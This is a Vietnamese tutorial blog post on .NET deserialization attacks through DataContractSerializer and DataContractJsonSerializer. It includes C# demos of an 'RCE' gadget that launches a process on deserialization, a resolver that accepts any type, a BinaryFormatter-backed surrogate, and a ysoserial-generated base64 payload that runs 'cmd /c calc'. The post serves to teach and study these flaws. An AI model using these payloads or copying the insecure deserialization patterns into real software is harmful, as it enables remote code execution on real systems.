+11

Lỗ hổng .NET deserialize 101 (P3)

Tiếp tục các bài viết về lỗ hổng .NET deserialization, bài viết hôm nay tôi sẽ giới thiệu với các bạn về tấn công .NET deserialization với DataContractSerializer và DataContractJsonSerializer.

DataContractSerializer

DataContractSerializer thực hiện serialize và deserialize các object thành stream hoặc XML document bằng cách sử dụng datacontract được cung cấp. Serializer này thường được sử dụng để xử lý dữ liệu được gửi trong Windows Comunication Foundation (WCF) messages.

Ví dụ về DataContractSerializer

DataContractSerializer nằm trong NameSpace System.Runtime.Serialization và kế thừa từ lớp trừu tượng XmlObjectSerializer.

demo


using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace DataContractDeserialize
{
    // You must apply a DataContractAttribute or SerializableAttribute
    // to a class to have it serialized by the DataContractSerializer.
    [DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
    class Person
    {
        [DataMember()]
        public string FirstName;
        [DataMember]
        public string LastName;
        [DataMember()]
        public int Age;

        public Person(string newfName, string newLName, int age)
        {
            FirstName = newfName;
            LastName = newLName;
            Age = age;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                WriteObject("DataContractSerializerExample.xml");
                ReadObject("DataContractSerializerExample.xml");
            }

            catch (SerializationException serExc)
            {
                Console.WriteLine("Serialization Failed");
                Console.WriteLine(serExc.Message);
            }
            catch (Exception exc)
            {
                Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}",
                exc.Message, exc.StackTrace);
            }

            finally
            {
                Console.WriteLine("Press <Enter> to exit....");
                Console.ReadLine();
            }
        }

        public static void WriteObject(string fileName)
        {
            Console.WriteLine("Creating a Person object and serializing it.");
            Person p1 = new Person("bill", "gates", 100);
            FileStream writer = new FileStream(fileName, FileMode.Create);
            DataContractSerializer ser = new DataContractSerializer(typeof(Person));
            ser.WriteObject(writer, p1);
            writer.Close();
        }

        public static void ReadObject(string fileName)
        {
            Console.WriteLine("Deserializing an instance of the object.");
            FileStream fs = new FileStream(fileName, FileMode.Open);
            XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
            DataContractSerializer ser = new DataContractSerializer(typeof(Person));

            // Deserialize the data and read it from the instance.
            Person deserializedPerson = (Person)ser.ReadObject(reader, true);
            reader.Close();
            fs.Close();
            Console.WriteLine(String.Format("{0} {1}, Age: {2}", deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age));
        }
    }
}

Có thể thấy rằng, để thực hiện Serialize hay deserialize thì kiểu dữ liệu của object (type) cần được truyền vào Constructor của DataContractSerializer sau đó mới gọi đến method ReadObject() hoặc WriteObject().

Lớp Person được DatacontractSerializer đánh dấu là có thể serialize thông qua thuộc tính DataContract, DataContractSeializer chỉ có thể (de)serialize các property có thuộc tính DataMember. Khi thực hiện deserialize thì chỉ những property nào có thuộc tính DataMember mới được gọi đến setter. Ngoài ra nếu class này được đánh thuộc tính là Serializable thì DataContractSerialize có thể (de)serialize mọi property.

Kết quả khi chạy đoạn code trên sẽ sinh ra file XML như sau

<Customer xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>100</Age><FirstName>bill</FirstName><LastName>gates</LastName></Customer>

Điều kiện trigger RCE

  • Như đã kể ở trên, để có thể (de)serialize object thì type của object phải được truyền vào constructor của DataContractSerializer do đó để có thể RCE thì điều kiện đầu tiên là chúng ta phải control được kiểu dữ liệu truyền vào constructor của DataContractSerializer.
  • Object được deserialize phải có chứa property có kiểu dữ liệu là object (để chèn gadget)
  • Các Kiểu dữ liệu của gadget phải được nằm trong KnowType hoặc DataContractResolver có method ResolveName trả về kiểu dữ liệu của gadget

demo

Các kiểu dữ liệu của gadget nằm trong KnowType

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace DataContractDeserialize
{
    // You must apply a DataContractAttribute or SerializableAttribute
    // to a class to have it serialized by the DataContractSerializer.
    // [DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
    [Serializable]
    public class RCE
    {
        public RCE() { }

        public RCE(SerializationInfo info, StreamingContext context) { }

        public RCE(string text)
        {
            this._cmd = text;
        }

        private string _cmd;

        public string cmd
        {
            get
            {
                return this._cmd;
            }
            set
            {
                this._cmd = value;
                //this.Run();
            }
        }

        private void Run()
        {
            if (!string.IsNullOrEmpty(this._cmd))
            {
                System.Diagnostics.Process.Start(this._cmd);
            }
        }

        [OnDeserializing]
        public void During(StreamingContext context) { }

        [OnDeserialized]
        public void Done(StreamingContext context)
        {
            this.Run();
        }

        public void OnDeserialization(object sender) { }

        public void GetObjectData(SerializationInfo info, StreamingContext context) { }
    }
    [Serializable]
    [KnownType(typeof(DataContractDeserialize.RCE))]
    class Person
    {

        public string FirstName;

        public string LastName;

        public int Age;
        public object obj { get; set; }

        public Person(string newfName, string newLName, int age)
        {
            FirstName = newfName;
            LastName = newLName;
            Age = age;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                WriteObject(@"C:\Users\lengo\Documents\DataContractSerializerExample.xml");
                ReadObject(@"C:\Users\lengo\Documents\DataContractSerializerExample.xml");
            }

            catch (SerializationException serExc)
            {
                Console.WriteLine("Serialization Failed");
                Console.WriteLine(serExc.Message);
            }
            catch (Exception exc)
            {
                Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}",
                exc.Message, exc.StackTrace);
            }

            finally
            {
                Console.WriteLine("Press <Enter> to exit....");
                Console.ReadLine();
            }
        }

        public static void WriteObject(string fileName)
        {
            Console.WriteLine("Creating a Person object and serializing it.");
            RCE rce = new RCE("calc");
            Person p1 = new Person("bill", "gates", 100);
            p1.obj = rce;
            FileStream writer = new FileStream(fileName, FileMode.Create);
            DataContractSerializer ser = new DataContractSerializer(typeof(Person));
            ser.WriteObject(writer, p1);
            writer.Close();
        }

        public static void ReadObject(string fileName)
        {
            Console.WriteLine("Deserializing an instance of the object.");
            FileStream fs = new FileStream(fileName, FileMode.Open);
            XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
            DataContractSerializer ser = new DataContractSerializer(typeof(Person));

            // Deserialize the data and read it from the instance.
            Person deserializedPerson = (Person)ser.ReadObject(reader, true);
            reader.Close();
            fs.Close();
            Console.WriteLine(String.Format("{0} {1}, Age: {2}", deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age));
        }
    }
}

Kết quả khi chạy đoạn code trên như sau:

<Person xmlns="http://schemas.datacontract.org/2004/07/DataContractDeserialize" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>100</Age><FirstName>bill</FirstName><LastName>gates</LastName><_x003C_obj_x003E_k__BackingField i:type="RCE"><_cmd>calc</_cmd></_x003C_obj_x003E_k__BackingField></Person>

Các bạn có để ý thấy rằng tên của trường obj bị thay đổi khi Serialize hay không. Điều này vô hình chung làm cho việc build payload của chúng ta gặp khó khăn. Việc tên của các trường thay đổi này là do chúng ta dùng thuộc tính Serializable thay vì DataContract và property obj không được đánh dấu là DataMember. Nếu chúng ta sử dụng thuộc tính DataContract và đánh dấu property là DataMember thì việc trên sẽ không xảy ra.

    [DataContract]
    [KnownType(typeof(DataContractDeserialize.RCE))]
    class Person
    {
        [DataMember()]
        public string FirstName;
        [DataMember]
        public string LastName;
        [DataMember()]
        public int Age;
        [DataMember()]
        public object obj { get; set; }

        public Person(string newfName, string newLName, int age)
        {
            FirstName = newfName;
            LastName = newLName;
            Age = age;
        }
    }
<Person xmlns="http://schemas.datacontract.org/2004/07/DataContractDeserialize" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>100</Age><FirstName>bill</FirstName><LastName>gates</LastName><obj i:type="RCE"><_cmd>calc</_cmd></obj></Person>

image.png

DataContractResolver có method ResolveName trả về kiểu dữ liệu của gadget

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

namespace DataContractDeserialize
{
    // You must apply a DataContractAttribute or SerializableAttribute
    // to a class to have it serialized by the DataContractSerializer.
    // [DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
    [Serializable]
    public class RCE
    {
        public RCE() { }

        public RCE(SerializationInfo info, StreamingContext context) { }

        public RCE(string text)
        {
            this._cmd = text;
        }

        private string _cmd;

        public string cmd
        {
            get
            {
                return this._cmd;
            }
            set
            {
                this._cmd = value;
                //this.Run();
            }
        }

        private void Run()
        {
            if (!string.IsNullOrEmpty(this._cmd))
            {
                System.Diagnostics.Process.Start(this._cmd);
            }
        }

        [OnDeserializing]
        public void During(StreamingContext context) { }

        [OnDeserialized]
        public void Done(StreamingContext context)
        {
            this.Run();
        }

        public void OnDeserialization(object sender) { }

        public void GetObjectData(SerializationInfo info, StreamingContext context) { }
    }
    [DataContract]

    class Person
    {
        [DataMember()]
        public string FirstName;
        [DataMember]
        public string LastName;
        [DataMember()]
        public int Age;
        [DataMember()]
        public object obj { get; set; }

        public Person(string newfName, string newLName, int age)
        {
            FirstName = newfName;
            LastName = newLName;
            Age = age;
        }
    }
    class Resolver : DataContractResolver
    {
        public override Type ResolveName(string typeName, string typeNamespace, Type declaredType, DataContractResolver knownTypeResolver)
        {
            Type type = Type.GetType(typeName, false);
            return type;
        }

        public override bool TryResolveType(Type type, Type declaredType, DataContractResolver knownTypeResolver, out XmlDictionaryString typeName, out XmlDictionaryString typeNamespace)
        {
            string name = type.FullName;
            string namesp = type.Assembly.FullName;
            typeName = new XmlDictionaryString(XmlDictionary.Empty, name, 0);
            typeNamespace = new XmlDictionaryString(XmlDictionary.Empty, namesp, 0);
            return true;
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            try
            {
                WriteObject(@"C:\Users\lengo\Documents\DataContractSerializerExample.xml");
                ReadObject(@"C:\Users\lengo\Documents\DataContractSerializerExample.xml");
            }

            catch (SerializationException serExc)
            {
                Console.WriteLine("Serialization Failed");
                Console.WriteLine(serExc.Message);
            }
            catch (Exception exc)
            {
                Console.WriteLine("The serialization operation failed: {0} StackTrace: {1}",
                exc.Message, exc.StackTrace);
            }

            finally
            {
                Console.WriteLine("Press <Enter> to exit....");
                Console.ReadLine();
            }
        }

        public static void WriteObject(string fileName)
        {
            Console.WriteLine("Creating a Person object and serializing it.");
            RCE rce = new RCE("calc");
            Person p1 = new Person("bill", "gates", 100);
            p1.obj = rce;
            FileStream writer = new FileStream(fileName, FileMode.Create);
            DataContractSerializer ser = new DataContractSerializer(typeof(Person), new DataContractSerializerSettings
            {
                DataContractResolver = new Resolver()
            });
            ser.WriteObject(writer, p1);
            writer.Close();
        }

        public static void ReadObject(string fileName)
        {
            Console.WriteLine("Deserializing an instance of the object.");
            FileStream fs = new FileStream(fileName, FileMode.Open);
            XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
            
            DataContractSerializer ser = new DataContractSerializer(typeof(Person), new DataContractSerializerSettings
            {
                DataContractResolver = new Resolver()
            });

            // Deserialize the data and read it from the instance.
            Person deserializedPerson = (Person)ser.ReadObject(reader, true);
            reader.Close();
            fs.Close();
            Console.WriteLine(String.Format("{0} {1}, Age: {2}", deserializedPerson.FirstName, deserializedPerson.LastName, deserializedPerson.Age));
        }
    }
}
<Person xmlns="http://schemas.datacontract.org/2004/07/DataContractDeserialize" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><Age>100</Age><FirstName>bill</FirstName><LastName>gates</LastName><obj i:type="a:DataContractDeserialize.RCE" xmlns:a="demo, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"><_cmd>calc</_cmd></obj></Person>

Có thể thấy ngay rằng , khi type của gadget không được truyền vào KnowType thì chúng ta có thể kiểm tra đến DataContractResolver. Nếu Resolvename() không có hạn chế gì về type trong quá trình parser và type của gadget luôn được trả về thì chúng ta vẫn hoàn toàn có thể RCE

image.png

DataContractJsonSerializer

Có một số thư viện chính để chuyển đổi đối tượng thành json trong dotnet, bao gồm DataContractJsonSerializer, Json.net và JavaScriptSerializer. Trong số đó, DataContractJsonSerializer và JavaScriptSerializer là các thư viện tiêu chuẩn riêng của dotnet. Phần này giải thích cách sử dụng DataContractJsonSerializer.

ví dụ về DataContractJsonSerializer

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;

namespace DataContractJsonDeserializer
{
    [DataContract]
    class Person
    {
        [DataMember]
        internal string name;

        [DataMember]
        internal int age;
    }
    class Program
    {
        static void Main(string[] args)
        {
            var p = new Person();
            p.name = "John";
            p.age = 42;
            var memoryStream = new MemoryStream();
            var ser = new DataContractJsonSerializer(typeof(Person));
            ser.WriteObject(memoryStream, p);
            memoryStream.Position = 0;
            var sr = new StreamReader(memoryStream);
            Console.WriteLine(sr.ReadToEnd());
            memoryStream.Position = 0;
            Person p1 = (Person)ser.ReadObject(memoryStream);
            Console.WriteLine(p1.name);
            Console.ReadKey();
        }
    }
}

Kết quả khi chạy đoạn code trên như sau

image.png

cũng giống như DataContractSerializer. Class Person cần được đánh dấu bằng thuộc tính DataContract và các property được tuần tự hóa cần được đánh dấu bằng thuộc tính DataMember. Ngoài ra type của object cần (de)serialize cũng cần truyền vào constructor

Điều kiện trigger RCE

Về cơ bản thì điều kiện trigger RCE của DataContractJsonSerializer giống với DataContractSerializer. Ngoài ra ở đây tôi sẽ nói đến một phần nữa về tham số IDataContractSurrogate (Tham số này cũng xuất hiện ở DataContractSerializer=> xem như là mục bổ sung cho phần trên).

DataContractJsonSerializer có nhiều Constructor trong đó có 1 constructor như sau:

public DataContractJsonSerializer(Type type, IEnumerable<Type> knownTypes, int maxItemsInObjectGraph, bool ignoreExtensionDataObject, IDataContractSurrogate dataContractSurrogate, bool alwaysEmitTypeInformation);

Tham số dataContractSurrogate được sử dụng để tùy chỉnh việc triển khai System.Runtime.Serialization.IDataContractSurrogate của quá trình serialization.

Bởi vì DataContractJsonSerializer chỉ có thể serialize các đối tượng có type thuộc knownTypes đã biết và trong các lớp, không thể tránh khỏi việc truy cập các lớp khác không được đánh dấu bằng thuộc tính DataContract. Nếu thuộc tính DataContract không được đánh dấu thì nó không có trong konwnTypes và không thể được serialize. Do đó, giao diện IDataContractSurrogate được giới thiệu để kiểm soát cách serialize và lưu trữ các lớp có type không trong knownTypes.

demo

using System;
using System.CodeDom;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Json;
using System.Xml.Serialization;

namespace DataContractJsonDeserializer
{
    [DataContract]
    public class Person
    {
        [DataMember]
        public string Name { get; set; }
        [DataMember]
        public Dog dog;
    }
    [Serializable]
    public class Dog
    {
        public string Name { get; set; }
    }

    [DataContract]
    class DogSurrogated
    {
        [DataMember()]
        public string b64Data;
    }
    class DogSurrogate : IDataContractSurrogate
    {
        public object GetCustomDataToExport(MemberInfo memberInfo, Type dataContractType)
        {
            Console.WriteLine("GetCustomDataToExport invoked");
            return null;
        }

        public object GetCustomDataToExport(Type clrType, Type dataContractType)
        {
            Console.WriteLine("GetCustomDataToExport invoked");
            return null;
        }

        public Type GetDataContractType(Type type)
        {
            Console.WriteLine($"GetDataContractType invoked, {type}");
            if (type.IsAssignableFrom(typeof(Dog)))
            {
                return typeof(DogSurrogated);
            }
            return type;
        }

        public object GetDeserializedObject(object obj, Type targetType)
        {
            Console.WriteLine($"GetDeserializedObject invoked {obj}");
            if (obj is DogSurrogated)
            {
                DogSurrogated ps = (DogSurrogated)obj;
                // Convert the Base64 string back to a byte array
                byte[] deserializedByteArray = Convert.FromBase64String(ps.b64Data);

                // Deserialize the byte array back to an object
                Dog deserializedObject;
                using (var memoryStream = new MemoryStream(deserializedByteArray))
                {
                    var formatter = new BinaryFormatter();
                    deserializedObject = (Dog)formatter.Deserialize(memoryStream);
                }
                return deserializedObject;
            }
            return obj;
        }

        public void GetKnownCustomDataTypes(Collection<Type> customDataTypes)
        {
            Console.WriteLine($"GetKnownCustomDataTypes invoked. {customDataTypes}");

        }

        public object GetObjectToSerialize(object obj, Type targetType)
        {
            Console.WriteLine($"GetObjectToSerialize invoked,{obj},{targetType.FullName}");
            if (obj is Dog)
            {
                DogSurrogated ps = new DogSurrogated();
                byte[] byteArray;
                using (var memoryStream = new MemoryStream())
                {
                    var formatter = new BinaryFormatter();
                    formatter.Serialize(memoryStream, obj);
                    byteArray = memoryStream.ToArray();
                }

                // Convert the byte array to a Base64 string
                string base64String = Convert.ToBase64String(byteArray);
                ps.b64Data = base64String;
                return ps;
            }
            return obj;
        }

        public Type GetReferencedTypeOnImport(string typeName, string typeNamespace, object customData)
        {
            Console.WriteLine("GetReferencedTypeOnImport invoked");
            Console.WriteLine("\t Type Name: {0}", typeName);

            if (typeName.Equals("DogSurrogated"))
            {
                Console.WriteLine("Returning Dog");
                return typeof(Dog);
            }
            return null;
        }

        public CodeTypeDeclaration ProcessImportedType(CodeTypeDeclaration typeDeclaration, CodeCompileUnit compileUnit)
        {
            Console.WriteLine("ProcessImportedType invoked");
            return typeDeclaration;
        }
    }
    public class Program
    {
        public static void Main(string[] vs)
        {
            Person person = new Person();
            person.Name = "jack";
            Dog dog = new Dog();
            dog.Name = "jjjj";
            person.dog = dog;
            List<Type> knownTypes = new List<Type>();
            DogSurrogate surrogate = new DogSurrogate();
            //DataContractSerializer surrogateSerializer = new DataContractSerializer(typeof(Person), knownTypes, Int16.MaxValue, false, true, surrogate);
            DataContractJsonSerializer dataContractJsonSerializer = new DataContractJsonSerializer(typeof(Person), knownTypes, int.MaxValue, false, surrogate, false);
            FileStream fs = new FileStream(@"C:\Users\lengo\Documents\DataContractSerializerExample.txt", FileMode.OpenOrCreate);
            dataContractJsonSerializer.WriteObject(fs, person);
            fs.Close();
            Console.WriteLine(File.ReadAllText(@"C:\Users\lengo\Documents\DataContractSerializerExample.txt"));

            Person p1 = (Person)dataContractJsonSerializer.ReadObject(File.Open(@"C:\Users\lengo\Documents\DataContractSerializerExample.txt", FileMode.Open));
            Console.WriteLine($"person.Name:{p1.Name}\t person.dog.Name:{p1.dog.Name}");
            Console.ReadKey();
        }
    }
}

Kết quả đầu ra sẽ như sau:

GetDataContractType invoked, DataContractJsonDeserializer.Person
GetObjectToSerialize invoked,DataContractJsonDeserializer.Person,DataContractJsonDeserializer.Person
GetDataContractType invoked, DataContractJsonDeserializer.Dog
GetObjectToSerialize invoked,DataContractJsonDeserializer.Dog,DataContractJsonDeserializer.DogSurrogated
{"Name":"jack","dog":{"b64Data":"AAEAAAD\/\/\/\/\/AQAAAAAAAAAMAgAAADtkZW1vLCBWZXJzaW9uPTEuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49bnVsbAUBAAAAIERhdGFDb250cmFjdEpzb25EZXNlcmlhbGl6ZXIuRG9nAQAAABU8TmFtZT5rX19CYWNraW5nRmllbG
QBAgAAAAYDAAAABGpqamoL"}}
GetDataContractType invoked, DataContractJsonDeserializer.Dog
GetDeserializedObject invoked DataContractJsonDeserializer.DogSurrogated
GetDeserializedObject invoked DataContractJsonDeserializer.Person
person.Name:jack         person.dog.Name:jjjj

Trong ví dụ trên, lớp Person được đánh dấu là DataContract, tuy nhiên trường dog có type là Dog lại không được đánh dấu bằng DataContract, do đó lớp DogSurrogation được tạo ra để thể hiện type Dog.

Trong lớp DogSurrogation định nghĩa nhiều method phục vụ cho quá trình (de)serialilze như GetDataContractType để xác định type của dữ liệu. Cụ thể nếu obj cần xử lý là Dog vậy chúng ta sẽ sử dụng DogSurrogated để thay thế và serialize nó.

Vì vậy, thực sự có hai vấn đề bảo mật ở đây.

  • Xác định xem Type có thể kiểm soát được không trong GetDataContractType

  • GetDeserializedObject GetObjectToSerialize tùy thuộc vào forrmatter hay serializer được sử dụng ở đây, chúng ta hoàn toàn có thể thực hiện RCE (ví dụ ở trên sử dụng binarryFormatter) .

Vậy nếu chúng ta truyền payload gen bằng ysoserial vào biến b64Data chúng ta hoàn tàn có thể RCE. payload {"Name":"jack","dog":{"b64Data":"AAEAAAD/////AQAAAAAAAAAEAQAAACpTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NQcmluY2lwYWwBAAAACm1faWRlbnRpdHkDKVN5c3RlbS5TZWN1cml0eS5QcmluY2lwYWwuV2luZG93c0lkZW50aXR5CQIAAAAEAgAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQYAAAAmU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnZlcnNpb24sU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5Lm5hbWVDbGFpbVR5cGUsU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnJvbGVDbGFpbVR5cGUkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yJVN5c3RlbS5TZWN1cml0eS5DbGFpbXNJZGVudGl0eS5jbGFpbXMLbV91c2VyVG9rZW4BAQEBAQMNU3lzdGVtLkludFB0cgYDAAAAAzEuMAYEAAAAOmh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL25hbWUGBQAAAEBodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2dyb3Vwc2lkBgYAAACUEkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBTUFnQUFBRjVOYVdOeWIzTnZablF1VUc5M1pYSlRhR1ZzYkM1RlpHbDBiM0lzSUZabGNuTnBiMjQ5TXk0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMHpNV0ptTXpnMU5tRmtNelkwWlRNMUJBRUFBQUFsVTNsemRHVnRMbE5sWTNWeWFYUjVMa05zWVdsdGN5NURiR0ZwYlhOSlpHVnVkR2wwZVFnQUFBQUpiVjkyWlhKemFXOXVCMjFmWVdOMGIzSVViVjloZFhSb1pXNTBhV05oZEdsdmJsUjVjR1VTYlY5aWIyOTBjM1J5WVhCRGIyNTBaWGgwQjIxZmJHRmlaV3dVYlY5elpYSnBZV3hwZW1Wa1RtRnRaVlI1Y0dVVWJWOXpaWEpwWVd4cGVtVmtVbTlzWlZSNWNHVVNiVjl6WlhKcFlXeHBlbVZrUTJ4aGFXMXpBUU1CQkFFQkFRRWxVM2x6ZEdWdExsTmxZM1Z5YVhSNUxrTnNZV2x0Y3k1RGJHRnBiWE5KWkdWdWRHbDBlVUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQ0FBQUFCZ01BQUFBRE1TNHdDZ29KQkFBQUFBb0dCUUFBQURwb2RIUndPaTh2YzJOb1pXMWhjeTU0Yld4emIyRndMbTl5Wnk5M2N5OHlNREExTHpBMUwybGtaVzUwYVhSNUwyTnNZV2x0Y3k5dVlXMWxCZ1lBQUFBOGFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNjeTh5TURBNEx6QTJMMmxrWlc1MGFYUjVMMk5zWVdsdGN5OXliMnhsQmdjQUFBQ0FBMEZCUlVGQlFVUXZMeTh2TDBGUlFVRkJRVUZCUVVGQlJVRlJRVUZCU1RSQ1ZUTnNlbVJIVm5STWEwNTJZa2Q0YkZrelVuQmlNalY2VEd0a2JHSnRWbmxoVjAxMVZFZHNlbVJIUVhoWE1YUlVaVmhPTUZwWE1IVlZNbFpxWkZoS2NHUklhM1ZSTW5ob1lWY3hla3hyVG5OWlYyeDBURU5DZEdNeVRuWmpiWGh3V1dsM1oxWnRWbmxqTW14Mlltb3dNRXhxUVhWTlF6UjNURU5DUkdSWGVEQmtXRXBzVUZjMWJHUllVbmxaVjNkelNVWkNNVmx0ZUhCWk1IUnNaVlpTZG1FeVZuVlFWMGt6VGpKRk1WbDZWVEpOVkd0NlRrZFZkMDlFYkdSWVVVMUJRVUZCUjFneWJEQmFWekY2UWxZNWVtRlljR3hEUmpreVdsaEtlbUZYT1hWQmQwRkJTR3hPTldNelVteGlVelZVV2xkT01XTnRiREJsVXpWRVlrZEdjR0pZVFhWUk1uaG9ZVmN4WWxoUlowbERVVWxCUVVGQlFVRkJRVUZCUVVGQlFVRmpRMEZCUVVGQlFVVkJRVUZCUVVGQlFVRkJlSGhVWlZoT01GcFhNSFZWTWxacVpGaEtjR1JJYTNWUk1uaG9ZVmN4ZWt4clRuTlpWMngwUTNjOVBRVUVBQUFBUWsxcFkzSnZjMjltZEM1V2FYTjFZV3hUZEhWa2FXOHVWR1Y0ZEM1R2IzSnRZWFIwYVc1bkxsUmxlSFJHYjNKdFlYUjBhVzVuVW5WdVVISnZjR1Z5ZEdsbGN3RUFBQUFQUm05eVpXZHliM1Z1WkVKeWRYTm9BUUlBQUFBR0NBQUFBTE1GUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaWRYUm1MVEUySWo4K0RRbzhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJRTFsZEdodlpFNWhiV1U5SWxOMFlYSjBJaUJKYzBsdWFYUnBZV3hNYjJGa1JXNWhZbXhsWkQwaVJtRnNjMlVpSUhodGJHNXpQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQzl3Y21WelpXNTBZWFJwYjI0aUlIaHRiRzV6T25Oa1BTSmpiSEl0Ym1GdFpYTndZV05sT2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3p0aGMzTmxiV0pzZVQxVGVYTjBaVzBpSUhodGJHNXpPbmc5SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzSWo0TkNpQWdQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVQWW1wbFkzUkpibk4wWVc1alpUNE5DaUFnSUNBOGMyUTZVSEp2WTJWemN6NE5DaUFnSUNBZ0lEeHpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQWdJQ0FnUEhOa09sQnliMk5sYzNOVGRHRnlkRWx1Wm04Z1FYSm5kVzFsYm5SelBTSXZZeUJqWVd4aklpQlRkR0Z1WkdGeVpFVnljbTl5Ulc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVGRHRnVaR0Z5WkU5MWRIQjFkRVZ1WTI5a2FXNW5QU0o3ZURwT2RXeHNmU0lnVlhObGNrNWhiV1U5SWlJZ1VHRnpjM2R2Y21ROUludDRPazUxYkd4OUlpQkViMjFoYVc0OUlpSWdURzloWkZWelpYSlFjbTltYVd4bFBTSkdZV3h6WlNJZ1JtbHNaVTVoYldVOUltTnRaQ0lnTHo0TkNpQWdJQ0FnSUR3dmMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ1BDOXpaRHBRY205alpYTnpQZzBLSUNBOEwwOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpNVBZbXBsWTNSSmJuTjBZVzVqWlQ0TkNqd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlQZ3M9BgcAAACAA0FBRUFBQUQvLy8vL0FRQUFBQUFBQUFBRUFRQUFBSTRCVTNsemRHVnRMa052Ykd4bFkzUnBiMjV6TGtkbGJtVnlhV011VEdsemRHQXhXMXRUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0TENCdGMyTnZjbXhwWWl3Z1ZtVnljMmx2YmowMExqQXVNQzR3TENCRGRXeDBkWEpsUFc1bGRYUnlZV3dzSUZCMVlteHBZMHRsZVZSdmEyVnVQV0kzTjJFMVl6VTJNVGt6TkdVd09EbGRYUU1BQUFBR1gybDBaVzF6QlY5emFYcGxDRjkyWlhKemFXOXVBd0FBSGxONWMzUmxiUzVUWldOMWNtbDBlUzVEYkdGcGJYTXVRMnhoYVcxYlhRZ0lDUUlBQUFBQUFBQUFBQUFBQUFjQ0FBQUFBQUVBQUFBQUFBQUFBeHhUZVhOMFpXMHVVMlZqZFhKcGRIa3VRMnhoYVcxekxrTnNZV2x0Q3c9PQT4////DVN5c3RlbS5JbnRQdHIBAAAABXZhbHVlAAlYAwAAAAAAAAs="}}

image.png


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí